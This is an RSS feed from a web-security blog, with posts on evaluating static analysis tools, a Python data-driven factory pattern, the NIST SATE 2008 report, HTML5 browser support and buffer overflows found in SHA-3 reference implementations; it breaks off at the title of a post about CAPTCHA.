<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
<channel>
  <title>deep inside | security &amp; tools</title>
  <link>http://rgaucher.info/</link>
  <description>This is a technical blog around the web security and hopefully lots of technologies. There will be at least: Python, C++, Web, AJAX, CSS and JavaScript. I'd like to talk more about data-mining, operational research stuff, maybe more intelligent algorithm also...</description>
  <language>en</language>
  <pubDate>Fri, 12 Mar 2010 02:13:15 -0500</pubDate>
  <copyright>All the content of this blog has been written by Romain Gaucher. Please add my blog URL if you quote me</copyright>
  <docs>http://blogs.law.harvard.edu/tech/rss</docs>
  <generator>Dotclear</generator>
  
    
  <atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/DeepInsideSecurityTools" /><feedburner:info uri="deepinsidesecuritytools" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
    <title>Yes, we need a standard to evaluate SAST, but it ain't easy...</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/hpelOE81uT4/Yes-we-need-a-standard-to-evaluate-SAST-but-it-aint-easy</link>
    <guid isPermaLink="false">urn:md5:f9a023b61d099e85382b54e976d130bd</guid>
    <pubDate>Sun, 10 Jan 2010 11:10:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Discussion</category>
            
    <description>&lt;p&gt;In reply to Dinis's blog post: &lt;a href="http://diniscruz.blogspot.com/2010/01/need-for-standards-for-evaluating.html"&gt;The
Need for Standards to evaluate Static Analysis Tools&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;1. You unfortunately list few types of SAST. Many of tools don't implement
taint analysis -- if you go in the Ada/C/C++ world, you won't see much of taint
based analysis, but other technologies such as symbolic execution (Grammatech),
abstract interpretation (ASTREE, PolySpace, etc.), and more. A list of SAST can
be found on the NIST SAMATE website: &lt;a href="http://samate.nist.gov/index.php/Source_Code_Security_Analyzers.html"&gt;List of
Source Code Security Analyzers&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;2. As said on &lt;a href="https://twitter.com/rgaucher"&gt;twitter&lt;/a&gt;, concerning
the &lt;a href="http://projects.webappsec.org/Web-Application-Security-Scanner-Evaluation-Criteria"&gt;
WASSEC&lt;/a&gt;, I don't believe it's important to have public evaluation of
commercial/open-source tools. Also, &lt;a href="http://projects.webappsec.org/Web-Application-Security-Scanner-Evaluation-Criteria"&gt;
WASSEC&lt;/a&gt; lists some vulnerabilities that the tool should look for, we don't
provide test cases so it's not nearly possible to claim that a tool effectively
test for a given problem, e.g. difference between two tools:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Only test XSS with few payloads and does regexp matching of the rendered
html&lt;/li&gt;
&lt;li&gt;A smarter engine that automagically crafts attacks and look at the
resulting html with a JS engine (or so, that leads to fewer FP).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Depending on who you are and what you want, you might very well say that
those two tools have the same support for XSS...&lt;/p&gt;
&lt;p&gt;Moreover, tools are changing so quickly that an evaluation would only be
accurate at the time you make it.&lt;/p&gt;
&lt;p&gt;3. &lt;a href="http://samate.nist.gov/SATE.html"&gt;NIST SATE&lt;/a&gt; is literally an
exposition. NIST choose test cases (real open-source program that covers
different type of functionalities and technologies) and ask tool makers to run
their SAST on those programs. The goal isn't to compare the tool to claim that
one is better than the other for a type of techno, but it's too see how tools
(in general) performs, to see how many types of weaknesses the tools find and
also what is the overlap of tool findings (which resulted in a very little
amount of findings).&lt;/p&gt;
&lt;p&gt;More generally, as Andrew said, a SAST isn't only an analysis engine that
finds weaknesses in a program; it's a suite of functionalities:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;support technologies&lt;/li&gt;
&lt;li&gt;allows users to develop custom checks (or custom rules)&lt;/li&gt;
&lt;li&gt;displays the weaknesses to the user (allow to rank/prune and explain
problem) and reporting capabilities&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ultimately, every one of those elements are important and need to be tested,
but again, the importance of those depend on who you are and how you want to
use the SAST (from simple compliance type of scan to exhaustive security
testing).&lt;/p&gt;
&lt;p&gt;Just to tell you, &lt;a href="http://samate.nist.gov"&gt;NIST SAMATE&lt;/a&gt;
(organizers of SATE) have been thinking a lot of those problem and there is no
easy solution for evaluating SAST... But the last SATE report explains some of
the problems we (I was part of the SAMATE team at the time) faced: &lt;a href="http://samate.nist.gov/docs/NIST_Special_Publication_500-279.pdf"&gt;SATE 2008 -
NIST Special Publication 500-279&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=hpelOE81uT4:run4T9ClEoo:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=hpelOE81uT4:run4T9ClEoo:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?i=hpelOE81uT4:run4T9ClEoo:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=hpelOE81uT4:run4T9ClEoo:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?i=hpelOE81uT4:run4T9ClEoo:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=hpelOE81uT4:run4T9ClEoo:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=hpelOE81uT4:run4T9ClEoo:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=hpelOE81uT4:run4T9ClEoo:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?i=hpelOE81uT4:run4T9ClEoo:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=hpelOE81uT4:run4T9ClEoo:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/hpelOE81uT4" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2010/01/10/Yes-we-need-a-standard-to-evaluate-SAST-but-it-aint-easy#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2010/01/10/Yes-we-need-a-standard-to-evaluate-SAST-but-it-aint-easy#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/137</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2010/01/10/Yes-we-need-a-standard-to-evaluate-SAST-but-it-aint-easy</feedburner:origLink></item>
    
  <item>
    <title>Data driven factory: I give you data, you give me an object...</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/GHwNX4lSkZw/Python%3A-I-give-you-data-you-give-me-an-object</link>
    <guid isPermaLink="false">urn:md5:5b181177586191ee57d3114831c53bfd</guid>
    <pubDate>Tue, 10 Nov 2009 21:11:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Python</category>
        <category>Python</category>    
    <description>&lt;p&gt;I've been working on a data warehouse project lately, in python, to support
different kind of data analysis I am developing as part of my current work. I
decided to use &lt;a href="http://www.sqlalchemy.org"&gt;SQLAlchemy&lt;/a&gt; as the
&lt;a href="http://en.wikipedia.org/wiki/Object-relational_mapping"&gt;ORM&lt;/a&gt;; I can
then quickly move from my development version using SQLite database, to
production, using MySQL or MSSQL databases.&lt;/p&gt;
&lt;p&gt;SQLAlchemy is also one of these amazing ORM that support &lt;a href="http://en.wikipedia.org/wiki/Shard_%28database_architecture%29"&gt;sharding&lt;/a&gt;
-- It's not necessary to tell that it's very important when you develop a tool
that will import, format, process and analyze gigabytes of data.&lt;/p&gt;
&lt;p&gt;Also, working with a lot of data types, to register them into my ORM
instance, and to persist them into a database, I need my software to be able to
quickly generate an object representing the data type: a particular instance of
the object. Developers usually create &lt;a href="http://en.wikipedia.org/wiki/Factory_method_pattern"&gt;factories&lt;/a&gt; in order to
create instances of objects. The main idea is to delegate the instantiation of
the object to a third party object. In most factories, we specify a type of
object that we want to create: &lt;em&gt;Give me an instance of a pizza with
mushroom, tomatoes and ham.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The last point on asking for a particular type (or sub-type) of object was
the main limitation for my use. In fact, most of my types are related in some
ways, but without strong inheritance (Dish &amp;gt; Pie &amp;gt; Pizza); another
important point is the maintainability of a code where I would list all
different types of object my factory needs to create... Well, I wanted
something more generic: a &lt;strong&gt;data driven factory&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The data driven factory is a factory that, based on the data sent to the
factory object constructor, will produce an instance. A simple example would be
to be able to get an instance of a Margerita pizza when giving the certain
ingredients (tomatoes, mozzarella and parmesan) or a Neapolitan if I add
enchovies.&lt;/p&gt;
&lt;p&gt;This type of factory, which depends only on the data to give in parameter,
is possible in python by using the class inspection capabilities of the
language. In fact, the implementation I propose requires to register each class
to be constructed in the factory, constructor arguments (and defaults
arguments) will be analyzed for a matcher later on, and to give as arguments
the &amp;quot;type&amp;quot; of each data field (basically, the arguments); the factory will then
get the appropriate object for you.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Side note:&lt;/strong&gt; The fact that the factory doesn't return an
instance of an object is for performances. In fact, I get the class from the
factory, store it and loop through the instantiation with millions of
data...&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example of use:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;
class Shape(object):
        pass

class Circle(Shape):
        def __init__(self, center, radius=RAD_MAX):
                ....

class DiskHole(Shape):
        def __init__(self, center, radius, small_radius=RAD_SMALL):
                ....

factory = DDFactory()
factory.register(Shape)
factory.register(Circle)
factory.register(DiskHole)

print factory.get(['center', 'radius'])                   #&amp;gt; return 'Circle' ctor
print factory.get(['center', 'radius', 'small_radius'])   #&amp;gt; return 'DiskHole' ctor
&lt;/pre&gt;
&lt;p&gt;You can access this factory here: &lt;a href="http://rgaucher.info/beta/DDFactory/dd_factory.py"&gt;dd_factory.py&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;In the distributed code, I assume that each object to create has a
&lt;code&gt;&lt;strong&gt;tablename&lt;/strong&gt;&lt;/code&gt; class member that tells which database
table is the eventual target (which is my case using SQLAlchemy / declarative
objects). This is easy to change by replacing the factory register method by
something like this:&lt;/p&gt;
&lt;pre&gt;
def register(self, cls):
        if hasattr(cls, '__init__'):
                s_cls = str(cls)
                args, defaults_dict = DDFactory.defaults_values(cls)
                if s_cls not in self.registrar:
                        self.registrar[s_cls] = {'class' : cls, 'args' : args, 'defaults' : defaults_dict}
&lt;/pre&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=GHwNX4lSkZw:wWqJ2AKAR2Y:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=GHwNX4lSkZw:wWqJ2AKAR2Y:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?i=GHwNX4lSkZw:wWqJ2AKAR2Y:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=GHwNX4lSkZw:wWqJ2AKAR2Y:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?i=GHwNX4lSkZw:wWqJ2AKAR2Y:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=GHwNX4lSkZw:wWqJ2AKAR2Y:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=GHwNX4lSkZw:wWqJ2AKAR2Y:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=GHwNX4lSkZw:wWqJ2AKAR2Y:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?i=GHwNX4lSkZw:wWqJ2AKAR2Y:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=GHwNX4lSkZw:wWqJ2AKAR2Y:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/GHwNX4lSkZw" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2009/11/10/Python%3A-I-give-you-data-you-give-me-an-object#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2009/11/10/Python%3A-I-give-you-data-you-give-me-an-object#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/136</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2009/11/10/Python%3A-I-give-you-data-you-give-me-an-object</feedburner:origLink></item>
    
  <item>
    <title>NIST Static Analysis Tool Exposition special publication released</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/aRKXk27RvJk/NIST-Static-Analysis-Tool-Exposition-special-publication-released</link>
    <guid isPermaLink="false">urn:md5:b6b3c6d38913b127a1995c3141e99cc8</guid>
    <pubDate>Tue, 30 Jun 2009 11:30:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Information</category>
        <category>Evaluation</category><category>SAMATE</category><category>SATE</category><category>source code scanners</category>    
    <description>&lt;p&gt;&lt;q&gt;The NIST SAMATE project conducted the first Static Analysis Tool
Exposition (SATE) in 2008 to advance research in static analysis tools that
find security defects in source code. The main goals of SATE were to enable
empirical research based on large test sets and to encourage improvement and
speed adoption of tools. The exposition was planned to be an annual
event.&lt;/q&gt;&lt;/p&gt;
&lt;p&gt;SATE 2008 was one of my last project at NIST. I really enjoyed working on
this project from the beginning, it was challenging especially because we had
to create so many artifacts to make the tool reporting the weaknesses the same
way, integrate them all together and provide ways for assessors to make
meaningful reviews.&lt;/p&gt;
&lt;p&gt;In a nutshell, we selected 6 different open-source programs (3 en C, 3 in
Java) and made tool vendors running their tool on these test cases. Tool
vendors were allowed to customize their tool if their tool provide such
capability. Fortify was the only vendor who created a custom rule (to help the
tool with a validation routine for MVNForum). Our goal was then to combine the
results all together and analyze: provide information on the correctness of the
tool.&lt;/p&gt;
&lt;p&gt;If you are interested, you can download the &lt;a href="http://samate.nist.gov/SATE2008/resources/sate2008.tar.gz"&gt;SATE data&lt;/a&gt; and
the &lt;a href="http://samate.nist.gov/docs/NIST_Special_Publication_500-279.pdf"&gt;NIST SATE
Special Publication&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Thanks to all the SAMATE team for this effort, and especially Vadim Okun and
Paul E. Black.&lt;/p&gt;
&lt;p&gt;For more information, you can reach the &lt;a href="http://samate.nist.gov/index.php/SATE.html"&gt;SATE page&lt;/a&gt; at NIST.&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=aRKXk27RvJk:hbGznw9x6os:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=aRKXk27RvJk:hbGznw9x6os:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?i=aRKXk27RvJk:hbGznw9x6os:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=aRKXk27RvJk:hbGznw9x6os:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?i=aRKXk27RvJk:hbGznw9x6os:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=aRKXk27RvJk:hbGznw9x6os:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=aRKXk27RvJk:hbGznw9x6os:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=aRKXk27RvJk:hbGznw9x6os:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?i=aRKXk27RvJk:hbGznw9x6os:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=aRKXk27RvJk:hbGznw9x6os:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/aRKXk27RvJk" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2009/06/30/NIST-Static-Analysis-Tool-Exposition-special-publication-released#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2009/06/30/NIST-Static-Analysis-Tool-Exposition-special-publication-released#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/135</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2009/06/30/NIST-Static-Analysis-Tool-Exposition-special-publication-released</feedburner:origLink></item>
    
  <item>
    <title>HTML 5 current browsers implementation support</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/Z-P6oFBIPk4/HTML-5-current-browsers-implementation-support</link>
    <guid isPermaLink="false">urn:md5:13ebd95ff684419f0d03d74ad0cf2247</guid>
    <pubDate>Fri, 13 Mar 2009 15:57:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Tech</category>
        <category>W3C</category><category>WASC</category><category>WASSEC</category>    
    <description>&lt;p&gt;Firefox 3.1beta has been released today, with the support of two HTML 5:
audio and video.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.businessinfo.co.uk/"&gt;Gareth&lt;/a&gt; and I exchanged some
messages on twitter+ about the current support of HTML 5 by the different
engines. The first document I found (well, asking on the #whatwg IRC chan) is
the &lt;a href="http://en.wikipedia.org/wiki/Comparison_of_layout_engines_(WHATWG)"&gt;Comparison
of layout engines&lt;/a&gt; you can find on Wikipedia; they also pointed me to a wiki
that WhatWG maintains: &lt;a href="http://wiki.whatwg.org/wiki/Implementations_in_Web_browsers"&gt;Implementations
in Web browsers&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;These are pretty incomplete documents and decided then, to create a mapping
of the current WhatWG document and and the support of the browsers. This is
possible because in the &lt;a href="http://www.whatwg.org/specs/web-apps/current-work/"&gt;current document&lt;/a&gt;, they
report the implementation status of the different items.&lt;/p&gt;
&lt;p&gt;Anyway, here is a table, I assembled, containing the last information about
the &lt;a href="http://rgaucher.info/pub/whatwg_html5_implementations.html"&gt;HTML5 implementations in
the current browser engines&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I also want to say that even if the &lt;a href="http://webappsec.org/projects/scriptmapping/"&gt;WASC Script Mapping&lt;/a&gt; project
has looked quite inactive for some time now, I will definitely continue it. I'm
actually waiting to finish a couple of other projects I participate to,
especially the &lt;a href="http://webappsec.org/projects/threat/"&gt;WASC Threat
Classification 2&lt;/a&gt; and the &lt;a href="http://webappsec.org/projects/wassec/"&gt;Web Application Security Scanner
Evaluation Criteria&lt;/a&gt;. I expect to get started again to &lt;a href="http://webappsec.org/projects/scriptmapping/"&gt;Script Mapping&lt;/a&gt; during this
summer...&lt;/p&gt;
&lt;p&gt;EDIT: I will maintain the current list of HTML5 implementation in current
browsers: &lt;a href="http://rgaucher.info/pub/whatwg_html5_implementations.html"&gt;HTML5. March
30&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;+ twitter is quite cool to follow/interact, feel free to follow me at
&lt;a href="https://twitter.com/rgaucher"&gt;@rgaucher&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=Z-P6oFBIPk4:m2gkWmDj_7s:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=Z-P6oFBIPk4:m2gkWmDj_7s:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?i=Z-P6oFBIPk4:m2gkWmDj_7s:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=Z-P6oFBIPk4:m2gkWmDj_7s:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?i=Z-P6oFBIPk4:m2gkWmDj_7s:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=Z-P6oFBIPk4:m2gkWmDj_7s:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=Z-P6oFBIPk4:m2gkWmDj_7s:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=Z-P6oFBIPk4:m2gkWmDj_7s:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?i=Z-P6oFBIPk4:m2gkWmDj_7s:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?a=Z-P6oFBIPk4:m2gkWmDj_7s:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DeepInsideSecurityTools?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/Z-P6oFBIPk4" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2009/03/13/HTML-5-current-browsers-implementation-support#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2009/03/13/HTML-5-current-browsers-implementation-support#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/134</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2009/03/13/HTML-5-current-browsers-implementation-support</feedburner:origLink></item>
    
  <item>
    <title>SHA-3 reference implementations buffer overflows</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/mMkNgGMw_bY/SHA-3-reference-implementations-buffer-overflows</link>
    <guid isPermaLink="false">urn:md5:76c8b4ec429f2a68f4981a1248a80080</guid>
    <pubDate>Sat, 21 Feb 2009 15:11:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Information</category>
        <category>Algorithm</category><category>code quality</category><category>security</category><category>source code scanners</category><category>Tech</category><category>Vulnerabilities</category>    
    <description>&lt;p&gt;Fortify just posted a &lt;a href="http://blog.fortify.com/blog/fortify/2009/02/20/SHA-3-Round-1"&gt;nice blog
post&lt;/a&gt; about the audit they did on several reference implementation that
compete for being the next &lt;a href="http://csrc.nist.gov/groups/ST/hash/sha-3/index.html"&gt;NIST SHA-3&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;They do not release much information on their findings: only one is
described. I would have really like to see how powerful was the analysis (if it
was) to find these problems.&lt;/p&gt;
&lt;p&gt;It could be nice too to see other tool vendors, such as Grammatech,
Klocwork, Coverity, etc. to do the same, and then, start another competition
;)&lt;/p&gt;
&lt;p&gt;I'd really like to emphasize the conclusions in the Fortify's blog post:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Reference implementations don't disappear, they serve as a starting point
for future implementations or are used directly. A bug in the RSA reference
implementation was responsible for vulnerabilities in OpenSSL and two seperate
SSH implementations. They can also be used to design hardware implementations,
using buffer sizes to decide how much silicon should be used.&lt;/p&gt;
&lt;p&gt;The other consideration is speed, which will be a factor in the choice of
algorithm. The fix for the MD6 buffer issues was to double the size of a
buffer, which could degrade the performance. On the other hand, memory leaks
could slow an implementation. A correct implementation is an accurate
implementation.&lt;/p&gt;
&lt;/blockquote&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=3HYweNUw"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=H3oJlvo7"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=H3oJlvo7" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=maRtY9mP"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=maRtY9mP" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=PmknjCDI"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=UYj2sV2R"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=QiJzIPhc"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=QiJzIPhc" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=JFS8gmQz"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/mMkNgGMw_bY" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2009/02/21/SHA-3-reference-implementations-buffer-overflows#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2009/02/21/SHA-3-reference-implementations-buffer-overflows#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/133</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2009/02/21/SHA-3-reference-implementations-buffer-overflows</feedburner:origLink></item>
    
  <item>
    <title>When CAPTCHA fails...</title>
